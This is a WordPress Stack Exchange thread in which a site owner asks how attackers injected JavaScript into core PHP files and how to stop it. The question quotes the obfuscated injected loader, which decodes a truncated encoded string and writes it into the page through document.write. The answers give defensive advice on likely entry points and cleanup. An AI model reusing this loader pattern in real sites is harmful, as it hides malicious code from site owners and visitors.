Sign up ×
WordPress Development Stack Exchange is a question and answer site for WordPress developers and administrators. It's 100% free, no registration required.

I have a blog created with wordpress, now i have a problem. Attackers writes javascript codes into my files.

Let's assume i have holes in my plugin scripts, but how can they write into php files?

here is part of the list of php files, in which they write the script (index.php, wp-activate.php, wp-comments-post.php, wp-settings.php ...)

and this is the javascript they write into

<script type="text/javascript" language="javascript">kxjwm="225222 ... 2";madds=100;wljam=this;cjayr="i"+"te";geijt=116;fsmuj="wr"+cjayr;for(yadii in wljam){if(yadii.length==8 && yadii.charCodeAt(0)==madds && yadii.charCodeAt(7)==geijt){break;}}o="";bqcqp=0;qczew=wljam[yadii];dlhge=53;while (bqcqp<kxjwm.length){voxhw=0;for(evedn=0;evedn<8;evedn++){voxhw=voxhw<<1;if(kxjwm.charCodeAt(bqcqp+evedn)==dlhge){voxhw++;}}bqcqp=bqcqp+3;qczew[fsmuj](String.fromCharCode(voxhw));bqcqp=bqcqp+5;}</script>

How can i prevent such attacks?

I haven't any experience with wordpress, so any help will be very nice.

Thanks much

share|improve this question
We have clients on all types of servers... shared hosting, vps, wordpress hosting and so on... We have had a few websites hacked in the past, they were all on some shared hosting such as godaddy, bluehost, network solutions. These hosts are popular and so they get attacked more often. If you are on shared hosting, it doesn't matter how secure your website is, because other websites on the same host might not be secure at all. – gdaniel Jun 4 at 15:37

2 Answers 2

Hi @Syom:

Often hackers get access because you use the name "admin" for your administrator and you have an easy to hack password. Or because you don't update your software and they leverage some of the security holes that have been found and patched.

Here's a set of slides that go indepth to explaining how to secure your WordPress site that were just presented at WordCamp Phoenix this past weekend:

Here are some blog posts by Otto on the subject:

share|improve this answer
Thanks for your attention. But i have very strog password and username, so i don't think they get access from there. And what about software. If even i don't update my software, what can they do in this case? They can attack my database for example, but how they write script into my files? For doing that they need to have access to my hosting. aren't they? – Syom Jan 31 '11 at 13:13
@Syom - Read the slides I linked, they address your questions. – MikeSchinkel Jan 31 '11 at 13:18
@Syom - I added some links to some blog posts that might help too. – MikeSchinkel Jan 31 '11 at 13:21
ok, thanks :) – Syom Jan 31 '11 at 13:22

There are multiple ways that is possible:

  • compromised FTP / SSH login;
  • compromised WordPress login;
  • faulty server security configuration;
  • compromised server;
  • some kind of backdoor installed;
  • etc.

You should contact hosting support immediately, then it depends on quality and price of your hosting how much will they help.

Other than that if you are not confident in technical skills I suggest to look for someone who deals with cleanup of hacked blogs professionally, otherwise you won't be sure about specifics of hack and security in the future.

share|improve this answer

Your Answer


By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.